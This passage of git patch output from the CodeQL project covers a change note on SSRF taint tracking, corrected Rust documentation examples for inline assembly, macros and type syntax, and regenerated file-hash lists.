a/javascript/ql/lib/change-notes/2025-05-30-url-package-taint-step.md b/javascript/ql/lib/change-notes/2025-05-30-url-package-taint-step.md new file mode 100644 index 000000000000..75b975f88681 --- /dev/null +++ b/javascript/ql/lib/change-notes/2025-05-30-url-package-taint-step.md @@ -0,0 +1,4 @@ +--- +category: minorAnalysis +--- +* Added taint flow through the `URL` constructor in request forgery detection, improving the identification of SSRF vulnerabilities. From 0c8e8868217efcb0895cf6dd31cc05da32f2a385 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Fri, 30 May 2025 12:59:13 +0200 Subject: [PATCH 473/535] Rust: fix QLdoc examples --- rust/schema/annotations.py | 96 +++++++++++++++++++++++++++----------- 1 file changed, 69 insertions(+), 27 deletions(-) diff --git a/rust/schema/annotations.py b/rust/schema/annotations.py index 7c65ab5b9c06..fa63996f2f16 100644 --- a/rust/schema/annotations.py +++ b/rust/schema/annotations.py @@ -644,7 +644,8 @@ class _: An inline assembly expression. For example: ```rust unsafe { - builtin # asm(_); + #[inline(always)] + builtin # asm("cmp {0}, {1}", in(reg) a, in(reg) b); } ``` """ @@ -932,8 +933,13 @@ class _: For example: ```rust - ::Item - // ^^^^ + fn process_cloneable(iter: T) + where + T: Iterator + // ^^^^^^^^^^^ + { + // ... + } ``` """ @@ -959,8 +965,13 @@ class _: For example: ```rust - for <'a> |x: &'a u32 | x - // ^^^^^^ + let print_any = for |x: T| { + // ^^^^^^^^^^^^^^^^^^^^^^^ + println!("{:?}", x); + }; + + print_any(42); + print_any("hello"); ``` """ @@ -1135,8 +1146,13 @@ class _: For example: ```rust - for <'a> fn(&'a str) - // ^^^^^ + fn foo(value: T) + where + T: for<'a> Fn(&'a str) -> &'a str + // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + { + // ... + } ``` """ @@ -1311,8 +1327,8 @@ class _: For example: ```rust - Foo<'a> - // ^^ + let text: Text<'a>; + // ^^ ``` """ @@ -1399,6 +1415,9 @@ class _: For example: ```rust + macro_rules! macro_type { + () => { i32 }; + } type T = macro_type!(); // ^^^^^^^^^^^^^ ``` @@ -1445,8 +1464,13 @@ class _: For example: ```rust - #[cfg(feature = "foo")] - // ^^^^^^^^^^^^^^^ + #[unsafe(lint::name = "reason_for_bypass")] + //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + #[deprecated(since = "1.2.0", note = "Use bar instead", unsafe=true)] + //^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + fn foo() { + // ... + } ``` """ @@ -1578,8 +1602,8 @@ class _: """ A path referring to a type. For example: ```rust - let x: (i32); - // ^^^ + type X = std::collections::HashMap; + type Y = X::Item; ``` """ @@ -2187,14 +2211,12 @@ class FormatArgument(Locatable): @annotate(MacroDef) class _: """ - A macro definition using the `macro_rules!` or similar syntax. + A Rust 2.0 style declarative macro definition. For example: ```rust - macro_rules! my_macro { - () => { - println!("This is a macro!"); - }; + pub macro vec_of_two($element:expr) { + vec![$element, $element] } ``` """ @@ -2219,8 +2241,14 @@ class _: For example: ```rust + macro_rules! my_macro { + () => { + Ok(_) + }; + } match x { my_macro!() => "matched", + // ^^^^^^^^^^^ _ => "not matched", } ``` @@ -2243,12 +2271,13 @@ class _: @annotate(AsmDirSpec) class _: """ - An inline assembly directive specification. + An inline assembly direction specifier. For example: ```rust - asm!("nop"); - // ^^^^^ + use core::arch::asm; + asm!("mov {input:x}, {input:x}", output = out(reg) x, input = in(reg) y); + // ^^^ ^^ ``` """ @@ -2260,6 +2289,7 @@ class _: For example: ```rust + use core::arch::asm; asm!("mov {0}, {1}", out(reg) x, in(reg) y); // ^ ^ ``` @@ -2273,6 +2303,7 @@ class _: For example: ```rust + use core::arch::asm; asm!("", options(nostack, nomem)); // ^^^^^^^^^^^^^^^^ ``` @@ -2286,8 +2317,9 @@ class _: For example: ```rust - asm!("mov {0}, {1}", out("eax") x, in("ebx") y); - // ^^^ ^^^ + use core::arch::asm; + asm!("mov {0}, {1}", out("eax") x, in(EBX) y); + // ^^^ ^^^ ``` """ @@ -2299,6 +2331,7 @@ class _: For example: ```rust + use core::arch::asm; asm!("", clobber_abi("C")); // ^^^^^^^^^^^^^^^^ ``` @@ -2312,6 +2345,7 @@ class _: For example: ```rust + use core::arch::asm; asm!("mov eax, {const}", const 42); // ^^^^^^^ ``` @@ -2325,8 +2359,12 @@ class _: For example: ```rust - asm!("jmp {label}", label = sym my_label); - // ^^^^^^^^^^^^^^^^^^^^^^ + use core::arch::asm; + asm!( + "jmp {}", + label { println!("Jumped from asm!"); } + // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + ); ``` """ @@ -2338,8 +2376,9 @@ class _: For example: ```rust - asm!("mov {out}, {in}", out = out(reg) x, in = in(reg) y); - // ^^^^^ ^^^^ + use core::arch::asm; + asm!("mov {0:x}, {input:x}", out(reg) x, input = in(reg) y); + // ^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^ ``` """ @@ -2351,6 +2390,7 @@ class _: For example: ```rust + use core::arch::asm; asm!("", options(nostack, nomem)); // ^^^^^^^^^^^^^^^^ ``` @@ -2364,6 +2404,7 @@ class _: For example: ```rust + use core::arch::asm; asm!("mov {0}, {1}", out(reg) x, in(reg) y); // ^ ^ ``` @@ -2377,6 +2418,7 @@ class _: For example: ```rust + use core::arch::asm; asm!("call {sym}", sym = sym my_function); // ^^^^^^^^^^^^^^^^^^^^^^ ``` From c44a7c3036e38267341cd8b48c545189258a0a62 Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Fri, 30 May 2025 13:00:23 +0200 Subject: [PATCH 474/535] Rust: codegen --- rust/ql/.generated.list | 128 +++++++++--------- .../internal/generated/CfgNodes.qll | 9 +- .../codeql/rust/elements/AsmClobberAbi.qll | 1 + rust/ql/lib/codeql/rust/elements/AsmConst.qll | 1 + .../lib/codeql/rust/elements/AsmDirSpec.qll | 7 +- rust/ql/lib/codeql/rust/elements/AsmExpr.qll | 3 +- rust/ql/lib/codeql/rust/elements/AsmLabel.qll | 8 +- .../codeql/rust/elements/AsmOperandExpr.qll | 1 + .../codeql/rust/elements/AsmOperandNamed.qll | 5 +- .../ql/lib/codeql/rust/elements/AsmOption.qll | 1 + .../codeql/rust/elements/AsmOptionsList.qll | 1 + .../codeql/rust/elements/AsmRegOperand.qll | 1 + .../lib/codeql/rust/elements/AsmRegSpec.qll | 5 +- rust/ql/lib/codeql/rust/elements/AsmSym.qll | 1 + .../lib/codeql/rust/elements/AssocTypeArg.qll | 9 +- .../codeql/rust/elements/ClosureBinder.qll | 9 +- .../lib/codeql/rust/elements/ForTypeRepr.qll | 9 +- .../lib/codeql/rust/elements/LifetimeArg.qll | 4 +- rust/ql/lib/codeql/rust/elements/MacroDef.qll | 8 +- rust/ql/lib/codeql/rust/elements/MacroPat.qll | 6 + .../codeql/rust/elements/MacroTypeRepr.qll | 3 + rust/ql/lib/codeql/rust/elements/Meta.qll | 9 +- .../lib/codeql/rust/elements/PathTypeRepr.qll | 4 +- .../elements/internal/AsmClobberAbiImpl.qll | 1 + .../rust/elements/internal/AsmConstImpl.qll | 1 + .../rust/elements/internal/AsmDirSpecImpl.qll | 7 +- .../rust/elements/internal/AsmExprImpl.qll | 3 +- .../rust/elements/internal/AsmLabelImpl.qll | 8 +- .../elements/internal/AsmOperandExprImpl.qll | 1 + .../elements/internal/AsmOperandNamedImpl.qll | 5 +- .../rust/elements/internal/AsmOptionImpl.qll | 1 + .../elements/internal/AsmOptionsListImpl.qll | 1 + .../elements/internal/AsmRegOperandImpl.qll | 1 + .../rust/elements/internal/AsmRegSpecImpl.qll | 5 +- .../rust/elements/internal/AsmSymImpl.qll | 1 + .../elements/internal/AssocTypeArgImpl.qll | 9 +- .../elements/internal/ClosureBinderImpl.qll | 9 +- .../elements/internal/ForTypeReprImpl.qll | 9 +- .../elements/internal/LifetimeArgImpl.qll | 4 +- .../rust/elements/internal/MacroDefImpl.qll | 8 +- .../rust/elements/internal/MacroPatImpl.qll | 6 + .../elements/internal/MacroTypeReprImpl.qll | 3 + .../rust/elements/internal/MetaImpl.qll | 9 +- .../elements/internal/PathTypeReprImpl.qll | 4 +- .../internal/generated/AsmClobberAbi.qll | 1 + .../elements/internal/generated/AsmConst.qll | 1 + .../internal/generated/AsmDirSpec.qll | 7 +- .../elements/internal/generated/AsmExpr.qll | 3 +- .../elements/internal/generated/AsmLabel.qll | 8 +- .../internal/generated/AsmOperandExpr.qll | 1 + .../internal/generated/AsmOperandNamed.qll | 5 +- .../elements/internal/generated/AsmOption.qll | 1 + .../internal/generated/AsmOptionsList.qll | 1 + .../internal/generated/AsmRegOperand.qll | 1 + .../internal/generated/AsmRegSpec.qll | 5 +- .../elements/internal/generated/AsmSym.qll | 1 + .../internal/generated/AssocTypeArg.qll | 9 +- .../internal/generated/ClosureBinder.qll | 9 +- .../internal/generated/ForTypeRepr.qll | 9 +- .../internal/generated/LifetimeArg.qll | 4 +- .../elements/internal/generated/MacroDef.qll | 8 +- .../elements/internal/generated/MacroPat.qll | 6 + .../internal/generated/MacroTypeRepr.qll | 3 + .../rust/elements/internal/generated/Meta.qll | 9 +- .../internal/generated/PathTypeRepr.qll | 4 +- .../rust/elements/internal/generated/Raw.qll | 96 +++++++++---- .../generated/.generated_tests.list | 42 +++--- .../AsmClobberAbi/gen_asm_clobber_abi.rs | 1 + .../generated/AsmConst/gen_asm_const.rs | 1 + .../generated/AsmDirSpec/gen_asm_dir_spec.rs | 7 +- .../generated/AsmExpr/gen_asm_expr.rs | 3 +- .../generated/AsmLabel/gen_asm_label.rs | 8 +- .../AsmOperandExpr/gen_asm_operand_expr.rs | 1 + .../AsmOperandNamed/gen_asm_operand_named.rs | 5 +- .../generated/AsmOption/gen_asm_option.rs | 1 + .../AsmOptionsList/gen_asm_options_list.rs | 1 + .../AsmRegOperand/gen_asm_reg_operand.rs | 1 + .../generated/AsmRegSpec/gen_asm_reg_spec.rs | 5 +- .../generated/AsmSym/gen_asm_sym.rs | 1 + .../AssocTypeArg/gen_assoc_type_arg.rs | 9 +- .../ClosureBinder/gen_closure_binder.rs | 9 +- .../ForTypeRepr/gen_for_type_repr.rs | 9 +- .../generated/LifetimeArg/gen_lifetime_arg.rs | 4 +- .../generated/MacroDef/gen_macro_def.rs | 8 +- .../generated/MacroPat/MacroPat.expected | 1 + .../MacroPat/MacroPat_getMacroCall.expected | 1 + .../generated/MacroPat/gen_macro_pat.rs | 6 + .../MacroTypeRepr/MacroTypeRepr.expected | 1 + .../MacroTypeRepr_getMacroCall.expected | 1 + .../MacroTypeRepr/gen_macro_type_repr.rs | 3 + .../generated/Meta/gen_meta.rs | 9 +- .../generated/Path/gen_path_type_repr.rs | 4 +- 92 files changed, 442 insertions(+), 221 deletions(-) diff --git a/rust/ql/.generated.list b/rust/ql/.generated.list index 32bc07a9652f..221828956575 100644 --- a/rust/ql/.generated.list +++ b/rust/ql/.generated.list @@ -1,4 +1,4 @@ -lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll c103cb9d949d1b5fbfefd94ce57b0461d750aaf87149f6d0ffe73f5ea58b5a74 a8ec5dbb29f6ad5c06ffb451bf67674bdc5747ddad32baebba229f77fc2abe93 +lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll 5a615bdde6f762f7c2e5f656aa1e57c74ada74f395e55114813b814358f5f395 864c33513287252507829e258bface3d53e1aa4398e841ce1c81c803dc7ba3f5 lib/codeql/rust/elements/Abi.qll 485a2e79f6f7bfd1c02a6e795a71e62dede3c3e150149d5f8f18b761253b7208 6159ba175e7ead0dd2e3f2788f49516c306ee11b1a443bd4bdc00b7017d559bd lib/codeql/rust/elements/Addressable.qll 13011bfd2e1556694c3d440cc34af8527da4df49ad92b62f2939d3699ff2cea5 ddb25935f7553a1a384b1abe2e4b4fa90ab50b952dadec32fd867afcb054f4be lib/codeql/rust/elements/ArgList.qll 3d2f6f5542340b80a4c6e944ac17aba0d00727588bb66e501453ac0f80c82f83 afd52700bf5a337f19827846667cd0fb1fea5abbbcbc353828e292a727ea58c9 @@ -6,23 +6,23 @@ lib/codeql/rust/elements/ArrayExpr.qll e4e7cff3518c50ec908271906dd46c1fbe9098faa lib/codeql/rust/elements/ArrayListExpr.qll 451aedcecb479c385ff497588c7a07fda304fd5b873270223a4f2c804e96b245 a8cb008f6f732215623b5626c84b37b651ca01ccafb2cf4c835df35d5140c6ad lib/codeql/rust/elements/ArrayRepeatExpr.qll 4b7ed5be7d2caaf69f6fc0cd05b0e2416c52d547b1a73fb23d5a13007f75f4dd f6366f21cc48376b5fdf37e8c5c2b19415d4cbdeef09f33bb99cde5cb0f5b0e7 lib/codeql/rust/elements/ArrayTypeRepr.qll a3e61c99567893aa26c610165696e54d11c16053b6b7122275eff2c778f0a52d 36a487dcb083816b85f3eec181a1f9b47bba012765486e54db61c7ffe9a0fcbf -lib/codeql/rust/elements/AsmClobberAbi.qll 158cb4b2eefa71ea7765a1df6e855015cffea48e9b77276c89ee39a871935f89 feb43771a5dc7da9558af12429011ec89eb515533ef30abd0069f54a3d0c758e -lib/codeql/rust/elements/AsmConst.qll d496390040cf7e2d8f612f79405668178641f5dad5177b2853a508b427e74805 1ab508d55d90e80d74b648a8c0f0a23e3456f5deb858cff1d3f64c04df63b1e2 -lib/codeql/rust/elements/AsmDirSpec.qll f2fcb1812e84b5362d8ebb77c34a36458a52f5b37948e50ea22b1b2fe30c1196 caf2604cfddd0163172e6335411f6a0e6e0d3df6b0a77eb1320a4ab314541fba -lib/codeql/rust/elements/AsmExpr.qll 1b0899fb7c0b6478fa102ccd0d30cac25aeca5c81d102158b15353ca498130c8 3802c40b748976c5b6dfd79315452ab34532ba46caf19fa8fbf557968e8fea74 -lib/codeql/rust/elements/AsmLabel.qll e56c12b0e730b5761c3c4c14f16b93bf7b44fa4e9e5a5d5483e4b17e407e753b 5c36f58ea21e69b7fdacd718dae8ed3e2dd8ae4aa0b0bb3d11c8275580e93bed +lib/codeql/rust/elements/AsmClobberAbi.qll eb5628916f41ab47e333b4528fba3fb80caecd2805fb20ba4f5c8d59c9677f14 636fce6b3a7f04141d0d3a53734d08a188a45bcc04f755bb66746d4f0a13fa72 +lib/codeql/rust/elements/AsmConst.qll f408468624dd0c80c6dcf62d17e65a94cd477a5a760be1b5fdd07c8189a3b4ea e4159073b3ee6d247e8962ce925da55ea39ee2cd1649f8b785a92aea17dbf144 +lib/codeql/rust/elements/AsmDirSpec.qll 0c439c031c9f60596373aee8ae2ee70068582548ae365a3c7c19c8b5e2b030d2 0127b08b99bd8725cb6273c1a930aef4434897f23611cfc4ec2dd1b7c9d7e3d0 +lib/codeql/rust/elements/AsmExpr.qll 33a9a873ba05235dd80103ed22555eee220a4c0cb86605d0f76bcda316605449 c8a99b7bd55aac41e56d05cd5a52692f1d835ed3e1a1bd029bb41d8e2b81b240 +lib/codeql/rust/elements/AsmLabel.qll 5fa3401c49329ddc845bd95d5f498a455202f685e962dfec9bc91550577da800 f54fe1dcd3c76f36e6abc7b56dc5d6f5b1c30d0fb434db21dd8a1ce731fc6abf lib/codeql/rust/elements/AsmOperand.qll 3987a289233fe09f41f20b27939655cc72fa46847969a55cca6d6393f906969a 8810ff2a64f29d1441a449f5fd74bdc1107782172c7a21baaeb48a40930b7d5a -lib/codeql/rust/elements/AsmOperandExpr.qll 56669c4791f598f20870d36b7954f9c9ed62e5c05045dae6d5eeede461af59e3 195f5563adef36b3876325bd908fed51c257d16d64264ce911425da642555693 -lib/codeql/rust/elements/AsmOperandNamed.qll 40042ce52f87482813b6539b0c49bfa5e35a419325ef593d3e91470d38240e26 497d277e03deab4990fad6128b235cf7fe24d0d523a3b4aaf4d20bcc46a4a4de -lib/codeql/rust/elements/AsmOption.qll 25b1f0e2dacee43eaa38246f654d603889b344eebede7ac91350bc59135c3467 85ba7f8c129441379b1c1fe821c90ab9ccdec2e2d495e143e13aaae2194defa1 -lib/codeql/rust/elements/AsmOptionsList.qll 98a3392da91d34b8e642f6cef1f93d3a2c0aa474044d6bb15c0879f464bfed77 b89d838a41059ad14aec11921173f89d416feb3f0d4e8762d5e65aa105507466 +lib/codeql/rust/elements/AsmOperandExpr.qll 72d4455cf742dc977b0a33ea21539422aaf2263f36c6f4420ddcb360ac606a0a 03bd01e81b291c915deb20ce33d5bdf73a709fbc007ab7570490e9a8e7c8604c +lib/codeql/rust/elements/AsmOperandNamed.qll c65bcf6f4ad5ebb447873ac170bd5d29dc5fe557f7aaccbdb46a09b2583df673 d7e277e43414ca2c529c5a4e967f4c6cca34ee7239ab1a993558b0731ce9722b +lib/codeql/rust/elements/AsmOption.qll 7ad333a4bb152dbf7c1df0d90424ff20031841822e49b26cc615230b1c186581 9c2a087ea7f7c386eff170337f0c29568dea3d49a570b35207652b08e24a9355 +lib/codeql/rust/elements/AsmOptionsList.qll 3dd55a8b15ada811c9225b0fe9b733eabf22313e7bd1ae6a99fdcb9a6facea07 32d996dde8802e4a2afd8c3624f055cb4e4c18591dc236f3b5bf0c0d4e57f822 lib/codeql/rust/elements/AsmPiece.qll 8650bf07246fac95533876db66178e4b30ed3210de9487b25acd2da2d145416a 42155a47d5d5e6ea2833127e78059fa81126a602e178084957c7d9ff88c1a9a3 -lib/codeql/rust/elements/AsmRegOperand.qll 6c58d51d1b72a4e2fbbd4a42a7bc40dd4e75ffba45e5c75e5a156b65bc7377e9 824d2e18efda880a15e61cd564f36303230045dec749071861e7ed51e0de9cee -lib/codeql/rust/elements/AsmRegSpec.qll 50b21381211d462fb4c95e5b1499b2b29d0308e993a9f15267d69fbbca89dd3c 60e9b7ce4c272c3a7a4dde39c650746cfea111038eaee89c73336ea3378415da -lib/codeql/rust/elements/AsmSym.qll dfc28fc4a81d5d2b1696ee110468252d7914a30898273bc8900537584af8410d 04f5a3887471193919a9ea1fd810abe50b647e4e29f8bb7fa66658e42393122d +lib/codeql/rust/elements/AsmRegOperand.qll 27abfffe1fc99e243d9b915f9a9694510133e5f72100ec0df53796d27a45de0c 8919ab83081dae2970adb6033340c6a18751ffd6a8157cf8c55916ac4253c791 +lib/codeql/rust/elements/AsmRegSpec.qll 77483fc3d1de8761564e2f7b57ecf1300d67de50b66c11144bb4e3e0059ebfd6 521f8dd0af859b7eef6ab2edab2f422c9ff65aa11bad065cfba2ec082e0c786b +lib/codeql/rust/elements/AsmSym.qll ba29b59ae2a4aa68bdc09e61b324fd26e8b7e188af852345676fc5434d818eef 10ba571059888f13f71ac5e75d20b58f3aa6eecead0d4c32a7617018c7c72e0e lib/codeql/rust/elements/AssocItem.qll 89e547c3ce2f49b5eb29063c5d9263a52810838a8cfb30b25bee108166be65a1 238fc6f33c18e02ae023af627afa2184fa8e6055d78ab0936bd1b6180bccb699 lib/codeql/rust/elements/AssocItemList.qll 5d58c018009c00e6aef529b7d1b16161abae54dbf3a41d513a57be3bbda30abf d9b06ef3c1332f4d09e6d4242804396f8664771fa9aaceb6d5b25e193525af3b -lib/codeql/rust/elements/AssocTypeArg.qll 8a0d8939d415f54ce2b6607651ee34ab0375abb8cb512858c718c2b5eee73c5f 68983653e45a7ee612c90bb3738ce4350170ac2f79cf5cda4d0ae59389da480e +lib/codeql/rust/elements/AssocTypeArg.qll 6ceeec7a0ec78a6f8b2e74c0798d4727ad350cebde954b4ffe442b06e08eb4aa d615f5cd696892518387d20f04dae240fb10ee7c9577028fb6f2a51cd9f5b9e4 lib/codeql/rust/elements/AstNode.qll 5ee6355afb1cafd6dfe408b8c21836a1ba2aeb709fb618802aa09f9342646084 dee708f19c1b333cbd9609819db3dfdb48a0c90d26266c380f31357b1e2d6141 lib/codeql/rust/elements/Attr.qll 2cb6a6adf1ff9ee40bc37434320d77d74ae41ff10bbd4956414c429039eede36 e85784299917ad8a58f13824b20508f217b379507f9249e6801643cf9628db1e lib/codeql/rust/elements/AwaitExpr.qll d8b37c01f7d27f0ec40d92a533a8f09a06af7ece1ae832b4ea8f2450c1762511 92cdb7ff0efddf26bed2b7b2729fddd197e26c1a11c8fec0c747aab642710c21 @@ -35,7 +35,7 @@ lib/codeql/rust/elements/CallExpr.qll f336500ca7a611b164d48b90e80edb0c0d3816792b lib/codeql/rust/elements/CallExprBase.qll 2846202b5208b541977500286951d96487bf555838c6c16cdd006a71e383745a c789d412bf099c624329379e0c7d94fa0d23ae2edea7a25a2ea0f3c0042ccf62 lib/codeql/rust/elements/Callable.qll e1ed21a7e6bd2426f6ccd0e46cee506d8ebf90a6fdc4dca0979157da439853aa 02f6c09710116ce82157aec9a5ec706983c38e4d85cc631327baf8d409b018c6 lib/codeql/rust/elements/CastExpr.qll 2fe1f36ba31fa29de309baf0a665cfcae67b61c73345e8f9bbd41e8c235fec45 c5b4c1e9dc24eb2357799defcb2df25989075e3a80e8663b74204a1c1b70e29a -lib/codeql/rust/elements/ClosureBinder.qll 3788b58696a73e3a763f4a5b86b7fdce06b1ccf6bc67cc8001092e752accdc9a 8d0d30739024a7cb5a60927042e2750113d660de36771797450baaadb5c1e95e +lib/codeql/rust/elements/ClosureBinder.qll 02c8e83bf07deaf7bf0233b76623ec7f1837be8b77fe7e1c23544edc7d85e3c4 2b114d9a6dede694324aebe3dac80a802d139cfacd39beb0f12b5b0a46ee6390 lib/codeql/rust/elements/ClosureExpr.qll 67e2a106e9154c90367b129987e574d2a9ecf5b297536627e43706675d35eaed d6a381132ddd589c5a7ce174f50f9620041ddf690e15a65ebfb05ff7e7c02de7 lib/codeql/rust/elements/Comment.qll fedad50575125e9a64a8a8776a8c1dbf1e76df990f01849d9f0955f9d74cb2a6 8eb1afad1e1007a4f0090fdac65d81726b23eda6517d067fd0185f70f17635ab lib/codeql/rust/elements/Const.qll 8b9c66b59d9469a78b2c696b6e37d915a25f9dd215c0b79b113dc7d34adca9e3 7b8213bf21403a1f8b78ea6a20b716f312b26fee5526111602482a2e985e8ac5 @@ -57,7 +57,7 @@ lib/codeql/rust/elements/FieldExpr.qll 8102cd659f9059cf6af2a22033cfcd2aae9c35204 lib/codeql/rust/elements/FieldList.qll 72f3eace2f0c0600b1ad059819ae756f1feccd15562e0449a3f039a680365462 50e4c01df7b801613688b06bb47ccc36e6c8c7fa2e50cc62cb4705c9abf5ee31 lib/codeql/rust/elements/FnPtrTypeRepr.qll d4586ac5ee2382b5ef9daafa77c7b3c1b7564647aa20d1efb1626299cde87ba9 48d9b63725c9cd89d79f9806fa5d5f22d7815e70bbd78d8da40a2359ac53fef5 lib/codeql/rust/elements/ForExpr.qll a050f60cf6fcc3ce66f5042be1b8096e5207fe2674d7477f9e299091ca99a4bd d7198495139649778894e930163add2d16b5588dd12bd6e094a9aec6863cb16f -lib/codeql/rust/elements/ForTypeRepr.qll 187a00c390ff37a1590b6f873b80727bb898ad2d843f0ad5465b8c71df8377a3 89957623e802ae54e8bc24d2ab95a7df9fa8aafd17b601fc8d4cc33ae45a6d86 +lib/codeql/rust/elements/ForTypeRepr.qll adb2b10f10b66b868d26b7418f06707cf5b2a44d7fabfe2570a9223a8d6027eb 1d2a57ba94c3adb76bbd8d941700b6228983933eb3e0f29f0c2c1650c077351e lib/codeql/rust/elements/Format.qll 1b186730710e7e29ea47594998f0b359ad308927f84841adae0c0cb35fc8aeda d6f7bfdda60a529fb9e9a1975628d5bd11aa28a45e295c7526692ac662fd19f8 lib/codeql/rust/elements/FormatArgsArg.qll a2c23cd512d44dd60b7d65eba52cc3adf6e2fbbcd0588be375daa16002cd7741 d9c5fe183fb228375223d83f857b7a9ee686f1d3e341bcf323d7c6f39652f88b lib/codeql/rust/elements/FormatArgsExpr.qll 8127cbe4082f7acc3d8a05298c2c9bea302519b8a6cd2d158a83c516d18fc487 88cf9b3bedd69a1150968f9a465c904bbb6805da0e0b90cfd1fc0dab1f6d9319 @@ -82,7 +82,7 @@ lib/codeql/rust/elements/LetElse.qll abb12749e1e05047e62f04fcaaf0947acc4dc431be8 lib/codeql/rust/elements/LetExpr.qll 435f233890799a9f52972a023e381bc6fe2e0b3df1e696dc98b21682a3c1d88e b34da72dd222a381e098f160551ec614ebb98eb46af35c6e1d337e173d8ec4b9 lib/codeql/rust/elements/LetStmt.qll b89881b3e57317941f74adb39f16eb665380128a6bdfaacf4dce2499cdaea2e2 2890d12a475f045a8a1213e5c7751a05e63a72978a20fd3f4862e281048b2f0e lib/codeql/rust/elements/Lifetime.qll ae154c4c604a084faab000fe48a75a3da597278da85eb414e54dd00c9135b0a5 199fe5d858597ea7ae09275611b510002796d7c4a3b75e62807f11beaecae4cf -lib/codeql/rust/elements/LifetimeArg.qll 476ea5cd9c07a93c5c13d71893e94ce34175f403055584cca3e8678713daf653 95062e3bc47dcf264e4762f81c20ff310d7af81079f2e6de7d9100be287acc42 +lib/codeql/rust/elements/LifetimeArg.qll 400f53abc28b351b7889909ee501a7bb52881cf71e974e17f56b7748c1460dc9 17a352bb72af2b6119735d24d6a8650ad60de71d19a53acfea0e58d9e5d927aa lib/codeql/rust/elements/LifetimeParam.qll d1c2986b9011a39aa995eb24f3404c0ca95f4bdf9d77572ddf3feeb47f212070 d8709455db51ff5831edc52e7465477660b859312d228d2f1d3e99d427526540 lib/codeql/rust/elements/LiteralExpr.qll 40b67404b7c2b81e5afabc53a2a93e0a503f687bb31a2b4bfa4e07b2d764eb8d 67ab1be2286e769fba7a50ca16748e3c141760ccaefaebae99faa71f523a43d5 lib/codeql/rust/elements/LiteralPat.qll daffb5f380a47543669c8cc92628b0e0de478c3ac82685802c63e8d75a206bed adfe9796598cf6ca4a9170c89ffd871e117f1cea6dd7dd80ecbbb947327a1a5d @@ -91,17 +91,17 @@ lib/codeql/rust/elements/LoopExpr.qll ee171177650fa23eef102a9580765f4b6073a1cc41 lib/codeql/rust/elements/LoopingExpr.qll 7ad7d4bbfd05adc0bb9b4ca90ff3377b8298121ca5360ffb45d5a7a1e20fe37a 964168b2045ee9bad827bba53f10a64d649b3513f2d1e3c17a1b1f11d0fc7f3a lib/codeql/rust/elements/MacroBlockExpr.qll fb81f067a142053b122e2875a15719565024cfb09326faf12e0f1017307deb58 3ee94ef7e56bd07a8f9304869b0a7b69971b02abbee46d0bebcacb4031760282 lib/codeql/rust/elements/MacroCall.qll 92fb19e7796d9cc90841150162ce17248e321cfc9e0709c42b7d3aef58cde842 7c0bb0e51762d6c311a1b3bb5358e9d710b1cf50cff4707711f55f564f640318 -lib/codeql/rust/elements/MacroDef.qll 845168bac17d200fe67682c58e4fa79bff2b2b1bac6eeb4b15a13de2ca6bc2ae ce05bc533b46f7019017fdc67e4cdc848be9dcd385311c40173f837f375893aa +lib/codeql/rust/elements/MacroDef.qll 5bcf2bba7ba40879fe47370bfeb65b23c67c463be20535327467338a1e2e04bb c3d28416fc08e5d79149fccd388fea2bc3097bce074468a323383056404926db lib/codeql/rust/elements/MacroExpr.qll 640554f4964def19936a16ce88a03fb12f74ec2bcfe38b88d32742b79f85d909 a284fb66e012664a33a4e9c8fd3e38d3ffd588fccd6b16b02270da55fc025f7a lib/codeql/rust/elements/MacroItems.qll f2d80ff23634ac6bc3e96e8d73154587f9d24edb56654b5c0ae426124d2709ea f794f751b77fc50d7cc3069c93c22dd3a479182edce15c1b22c8da31d2e30a12 -lib/codeql/rust/elements/MacroPat.qll 3497337bac1297ee69ed97ab60ba83145f7d324d50ceb0dc81270805b7d9f56a bf85869234a6a1d993f4e441ecddbe5ffa01c75308b178f0dedf9b94b2cf07ff +lib/codeql/rust/elements/MacroPat.qll 8d9384d7e000add77ad9955c142800f71a993262b7923b3a4466eaf3a17ebed7 1561e5597c8dd6b6359dc7f0a01e3afe6568bf0aa4e9cc865469d5308c270b0e lib/codeql/rust/elements/MacroRules.qll 0fdf609ff28bacf8780fa75a4cee5f0b7864b8bd3b4abcf91303baabc83c0a83 2a4cef936232406b36ab897e40ea25352b07016001f6750380e007f91ce6a799 -lib/codeql/rust/elements/MacroTypeRepr.qll 8b409d69d90548fb2bd049451fa27a71cd6d9c2b52f8a735d61b6ec7d6837675 33513d02ea4fdcd162f8e80a1a6d7c41fb56cd5a91b25a9989800bab110c3b3f +lib/codeql/rust/elements/MacroTypeRepr.qll 664934eb58bf32ddc843f5133056e3605c7ca9d401729d5358e288ccde4dcdad 7601309ad9cf7159955af8f6eec7968bbecf5bfcc05201bc8573cf1e7ea14b08 lib/codeql/rust/elements/MatchArm.qll c39fd6cc0da24b1ff8d1e42835bcfee7695ad13580e3c7c50acd7c881b1cd894 62a31d2bd125e6aaebefc406e541a641271d3c497a377959f94dd4735b2bfbf8 lib/codeql/rust/elements/MatchArmList.qll f221c5e344814fa44db06ab897afdc249e8e88118953116c9c9b745aa2189614 8ff30685e631c5daa6c42390dfb11fd76a4ff2e374013e3dabc67b4c135c0bc4 lib/codeql/rust/elements/MatchExpr.qll e9ef1664f020823b6f4bb72d906a9dc0c1ee6432d4a9a13f7dbdbab2b2b1ee4d 38d71e5c487abcb5682293c573343be66e499a6e131bb630604c120d34b7777b lib/codeql/rust/elements/MatchGuard.qll 58256689a90f24b16401543452c2a32f00d619ddac6c0fe8b65a8cd3e46401bb 8efb2ac03c69a9db687e382331085d7a6cfbf8eca559174ba2727a9549ec7ddd -lib/codeql/rust/elements/Meta.qll 98070c7f9af74cddd46220a490c14079ac88054fe2741ca25edd1f55b1d5d053 b16cca36bd7dfc3ca73118c9bbb9c431c615a48c952dfb2ed3f74bf9130cd2fa +lib/codeql/rust/elements/Meta.qll b17d7bf605bd0cf4f6d6c6cf4f39a16cfc431d256d45b93663a7569181d36168 815cdfef06231de4b4b1c85e321b8ccb3e22379e5a4e111df9cc9ca6be593841 lib/codeql/rust/elements/MethodCallExpr.qll 